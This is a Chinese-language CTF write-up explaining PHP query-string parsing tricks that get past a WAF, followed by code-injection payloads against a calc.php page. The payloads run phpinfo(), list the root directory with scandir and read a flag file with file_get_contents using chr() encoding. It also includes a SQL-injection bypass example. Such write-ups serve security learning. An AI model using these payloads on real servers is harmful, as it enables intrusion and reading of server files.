首先了解下**CSS3 calc()**函数的计算实现。
calc其实是calculate 计算 的缩写形式,用于动态计算长度值
需要注意的是,运算符前后都需要保留一个空格,例如:width: calc(100% - 10px);
任何长度值都可以使用calc()函数进行计算;
calc()函数支持 “+”, “-“, “*”, “/“ 运算;
calc()函数使用标准的数学运算优先级规则;
可以使用百分比、px、em、rem等单位;
然后我也没有具体使用calc函数。看了下网页源码。可以看出它是有过滤的,并且还有一个calc.php的页面。
1 |
|
再网页源码有个waf,encodeURLComponent将url进行了编码,同时php还存在高危漏洞。
啊,还要再了解下php字符串解析特性。
我们知道**PHP将查询字符串(在URL或正文中)转换为内部关联数组
$_GET或关联数组$_POST**。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:/news.php?%20news[id%00=42"+AND+1=0–
上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1 | 删除前后的空白符(空格符,制表符,换行符等统称为空白符) |
Example:
| User input | Decoded PHP | variable name |
|---|---|---|
| %20foo_bar%00 | foo_bar | foo_bar |
| foo%20bar%00 | foo bar | foo_bar |
| foo%5bbar | foo[bar | foo_bar |
所以这里的waf可以利用加空格或者下划线进行绕过,在php执行变量的时候因为解析问题会自动将改变的变量变回需要的变量。
这里使用calc.php? num=phpinfo()这样就可以绕过waf。
但是这里不能传一句话,但是需要了解一个函数,scandir("/")意思是扫描根目录下所有文件,但是这里"/"被php过滤了,可是我们可以用chr(47)绕过,发现flag文件。这里chr(47)就是/的意思。
calc.php? num=print_r(scandir(chr(47)))
这样扫出了flag,在最后就是读取值。使用file_get_contents函数
calc.php? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))这里的chr意义同上。/flagg
这样就拿到了flag
var_dump() 函数用于输出变量的相关信息。显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。
PHP 版本要求: PHP 4, PHP 5, PHP 7
payload也可以写成
calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))